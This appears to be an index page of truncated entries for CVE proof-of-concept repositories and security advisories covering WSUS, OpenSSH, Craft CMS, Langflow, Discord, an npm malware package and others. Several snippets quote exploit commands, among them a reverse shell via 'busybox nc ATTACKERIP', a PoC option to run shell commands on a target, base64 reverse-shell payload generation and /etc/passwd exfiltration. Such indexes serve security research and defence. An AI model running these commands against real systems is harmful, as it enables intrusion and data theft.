CVE-2017-1000475

CVE-2017-1000475: Freesshd Unquoted Service Path Prove of concept Windows 10 with freeSSHd 1.3.1, installed by default and with the option running as a system service. Command to check Unquoted Service Path. The service is unquoted by default. The process is running as SYSTEM by default. Create a...

CVE-2025-59287-PoC

CVE-2025-59287 / CVE-2023-35317 PoC Inside CVE-2025-59287: SoapFormatter RCE in WSUS: https://shellcode.blog/wsus-cve-2025-59287-investigation/ This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intende...

POC_CVE-2026-41940

POCCVE-2026-41940 Quick start python3 pocCVE-2026-41940.py -h Usage examples Scan one host python3 pocCVE-2026-41940.py -u https://target.example:2086 List accounts after successful chain python3 pocCVE-2026-41940.py -u https://target.example:2086 --action list Run a shell command python3...

USN-8958-1 dotnet8, dotnet10, dotnet11 vulnerabilities

It was discovered that the .NET Blazor WebAssembly debug proxy did not properly escape certain values. An attacker could possibly use this issue to execute arbitrary code. The fix for this CVE was originally released via USN-8942-1, but it was found to be incomplete. This issue only affected...

CVE-2023-38646

CVE-2023-38646 Original script from securezeron During testing, I found that the reverse shell generated by this POC failed due to the trailing '=' character after base64 encoding. I made a slight modification to fix this issue. Original reverse shell payload generation code base64.b64encode"bash...

jinjava-cve-2026-25526-poc

Step-by-step exploit all 9 steps: mvn exec:java -Dexec.mainClass=ExploitHarness -q 2. Final exploit chains file creation, file read, info disclosure: mvn exec:java -Dexec.mainClass=ExploitFinal -q 3. File content exfiltration reads /etc/passwd, /etc/hosts: mvn exec:java...

ICS-MoxieManager-FileUpload-PoC

ICS-MoxieManager-RCE-CVE-2026-30-03 CVE-2026-30-03 9.8 Critical Possible RCE Jenzabar ICS + MoxieManager proof https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be CVE CVSS Impact Affected CVE-2026-30-03 9.8 Critical Possible RCE Jenzabar ICS + MoxieManager A vulnerability in the...

CVEs

CVE-2022-2992: Remote Command Execution via Github import Information Description: This allows an authenticated user to achieve remote code execution via the Import from GitHub API endpoint. Versions Affected: all versions from 11.10 prior to 15.1.6, 15.2 to 15.2.4, 15.3 to 15.3.2 Version Fixed:...

CVE-2022-26134-cve1

CVE-2022-26134RCE Installation git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs Using pocsuite3 Single URL: pocsuite -r CVE-2022-26134RCE.py -u url Multiple URLs: pocsuite -r...

Poc-CVE-2024-21542

Poc-CVE-2024-21542 Overview luigi is a package that helps you build complex pipelines of batch jobs. It handles dependency resolution, workflow management, visualization, handling failures, command line integration, and much more. Affected versions of this package are vulnerable to Arbitrary File...

PoC-CVE-2026-20841

PoC CVE-2026-20841 Description This project is a simple Proof of Concept PoC regarding Windows Notepad vulnerability about "remote code execution". Attackers have the ability to build a special .md file and by tricking users with Social Engineering skills into clicking the link within the .md fil...

CVE-2018-17553

CVE-2018-17553 CVE-2018-17553 PoC Navigate CMS version 2.8 and prior This proof of concept was put together when working on the Black Pearl box from TCM. I couldn't find anyone that put out a PoC other than just using Metasploit. As I'm avoiding Metasploit in my hacking journey to then go back an...

CVE-2026-0776

CVE-2026-0776 - Discord Client Uncontrolled Search Path Element Summary This repository documents CVE-2026-0776, a local code execution issue affecting the Discord Desktop Client on Windows. The vulnerability is related to unsafe module resolution behavior in Node.js-based components, which may...

CVE-2021-22053

CVE-2021-22053 CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability Description Applications using both spring-cloud-netflix-hystrix-dashboard and spring-boot-starter-thymeleaf expose a way to execute code submitted within the request URI path during the...

MAL-2026-18392 Malicious code in @chatunitycenter/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 52978b0c3293c9df936b51c70527efeb5b0f496a59f0df857016fc781f876043 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

CVE-2026-118762 Monkeytype: fork PR can execute code with elevated GITHUB_TOKEN

Monkeytype is a minimalistic and customizable typing test. Prior to 26.43.0, the .github/workflows/fix-formatting.yml workflow runs on pullrequesttarget with repository write permissions, checks out a fork pull request, installs dependencies from the fork's package.json, and invokes the...

CVE-2026-118762

The Monkeytype typing test (prior to version 26.43.0 ) contains a vulnerability in the .github/workflows/fix-formatting.yml workflow. The workflow runs on pull_request_target with repository write permissions, allowing an external contributor to trigger the execution of an untrusted oxfmt binary ...

openssh-cve-2024-6387.sh

OpenSSH CVE-2024-6387 A vulnerability CVE-2024-6387 has been discovered in OpenSSH. Successful exploitation of this vulnerability allows a remote, unauthenticated attacker to execute arbitrary code as root on the target machine. All the glibc-based Linux distributions that have OpenSSH exposed ar...

CVE-2026-28695

CVE-2026-28695 Patch Bypass - Craft CMS Blind RCE Authenticated blind remote code execution in Craft CMS. Bypasses the create - BaseObject restriction added in the CVE-2026-28695 fix commit e31e508. Usage python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP...

Sovereign-Echo-33017

Exploit Title: Langflow 1.8.1 - Unauthenticated Remote Code Execution RCE Date: 2026-03-21 Exploit Author: Americo N. F. Simoes SimoesCTT Vendor Homepage: https://www.langflow.org/ Software Link: https://github.com/langflow-ai/langflow Version: = 1.8.1 Tested on: Linux/Fedora 40 CVE: CVE-2026-330...